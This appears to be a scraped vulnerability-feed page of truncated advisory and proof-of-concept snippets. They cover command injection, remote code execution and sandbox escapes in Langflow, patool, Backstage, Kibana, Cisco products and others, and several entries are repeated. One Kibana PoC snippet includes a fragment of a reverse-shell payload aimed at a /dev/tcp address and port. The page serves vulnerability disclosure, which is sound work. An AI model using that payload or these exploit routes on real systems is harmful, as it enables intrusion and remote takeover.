Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration

Summary Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and before 1.10.3 wrapped in bash -c "exec command ...". Any user able to reach the MCP server settings "Settings → MCP Servers → Add MCP Server",...

EUVD-2026-92788

Langflow: OS command injection RCE via arbitrary command in MCP stdio server configuration...

GHSA-W794-RJ3P-XV45 Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration

Summary Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and before 1.10.3 wrapped in bash -c "exec command ...". Any user able to reach the MCP server settings "Settings → MCP Servers → Add MCP Server",...

CVE-2026-106057

A flaw was found in patool. This vulnerability allows an attacker to execute arbitrary commands on Windows systems. The issue occurs because the utility fails to properly escape special characters and quotes in archive filenames before passing them to the command shell. By tricking a user or syst...

EUVD-2026-82900

vm2 contains a sandbox escape vulnerability...

GHSA-4488-J8VJ-VQQV Backstage: Remote code execution via crafted markdown_extensions in TechDocs mkdocs.yml

Impact An authenticated user who can register catalog entities can provide a crafted mkdocs.yml causing arbitrary OS command execution on the TechDocs build host when the docs are built. Patches Patched in @backstage/plugin-techdocs-node, version 1.15.4. Workarounds If you cannot upgrade...

CVE-2026-106440

A flaw was found in hydra-optuna-sweeper. This vulnerability allows an attacker who controls sweep configuration settings or command-line overrides to achieve arbitrary code execution. The component dynamically resolves and invokes callable objects specified in user-controlled configuration paths...

CVE-2024-25082

⚠️ CVE-2024-25082 - FontForge ZIP 远程代码执行 PoC CVE-2024-25082 的概念验证漏洞利用程序，该漏洞影响 FontForge ，允许通过特制的 ZIP 压缩包实现远程代码执行 RCE 。 本仓库演示了如何在受控的实验环境中利用该漏洞，用于安全研究和教育目的 。 漏洞概述 CVE ID： CVE-2024-25082\ 受影响软件： FontForge\ 漏洞类型： 远程代码执行\ 攻击向量： 恶意 ZIP 压缩包\ 影响： 处理特制压缩包时可执行任意命令。 该漏洞源于对 ZIP 压缩包内文件验证不当，使攻击者能够在目标系统上执行任意命令。...

CVE-2026-93349-frictionless-command-injection

CVE-2026-93349: Inyección de comandos del sistema operativo en = 5.20.0rc1 explore de Frictionless Severidad: Alta, CVSS 3.1 8.8 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Afecta a: todas las versiones de Frictionless = 5.20.0rc1 Componente: frictionless.console.commands.explore CWE:...

CVE-2026-76437

A vulnerability in the web-based user interface of Cisco License On-Prem, formerly Cisco Smart Software Manager On-Prem SSM On-Prem, could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper validation of...

CVE-2026-20032

A vulnerability in the Python interpreter of Cisco NX-OS Software could allow an authenticated, local attacker with low privileges to escape the Python sandbox and gain unauthorized access to the underlying operating system of an affected device. This vulnerability is due to insufficient validati...

CVE-2018-1049-POC

此 Python 脚本是 Metasploit 模块针对 CVE-2018-1049 漏洞利用的自定义重新实现，通过 sudo 滥用的 Perl 脚本中的提权漏洞，针对 VyOS（Vyatta）系统。 你需要有效的 SSH 凭据。 你通过 sudo 许可脚本中的命令注入获得 root 权限。 尽管它针对的是本地脚本，但该漏洞是通过 SSH 远程发起的。 此项目基于 APT Volt Typhoon 的 TTP，用于一项全州范围的网络安全计划。...

CVE-2019-7069-POC

Kibana ⚠️ 免责声明: 本脚本仅用于教育和授权的渗透测试 。请勿在您不拥有或未经明确授权的系统上使用。作者和贡献者不对该工具的任何误用或损害负责。 🎯 这是什么？ 这是一个 Python 3 漏洞利用脚本，针对 Kibana & /dev/tcp/192.168.1.100/4444 0&1";process.exit//' .propslabel.proto.e...

EUVD-2026-57799

Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium...

CVE-2026-76437 Cisco Smart Software Manager On-Prem Command Injection Vulnerability

A vulnerability in the web-based user interface of Cisco License On-Prem, formerly Cisco Smart Software Manager On-Prem SSM On-Prem, could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper validation of...

EUVD-2026-94452

A vulnerability in the web-based user interface of Cisco License On-Prem, formerly Cisco Smart Software Manager On-Prem SSM On-Prem, could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper validation of...

CVE-2026-76437

A vulnerability in the web-based user interface of Cisco License On-Prem (formerly Cisco Smart Software Manager On-Prem) allows an authenticated, remote attacker to execute arbitrary commands on the underlying operating system with root privileges . The root cause is the improper validation of us...

CVE-2026-76437 Cisco Smart Software Manager On-Prem Command Injection Vulnerability

A vulnerability in the web-based user interface of Cisco License On-Prem, formerly Cisco Smart Software Manager On-Prem SSM On-Prem, could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper validation of...

CVE-2026-20321 Cisco Application Policy Infrastructure Controller API Command Injection Vulnerability

A vulnerability in the web-based management API for Cisco Application Policy Infrastructure Controller APIC could allow an authenticated, remote attacker to execute arbitrary commands as the root user. To exploit this vulnerability, the attacker must have valid administrative credentials. This...

CVE-2026-20321

A vulnerability exists in the web-based management API for Cisco Application Policy Infrastructure Controller (APIC) . Due to insufficient input validation of user-controlled command arguments, an authenticated remote attacker with valid administrative credentials can send crafted input to the AP...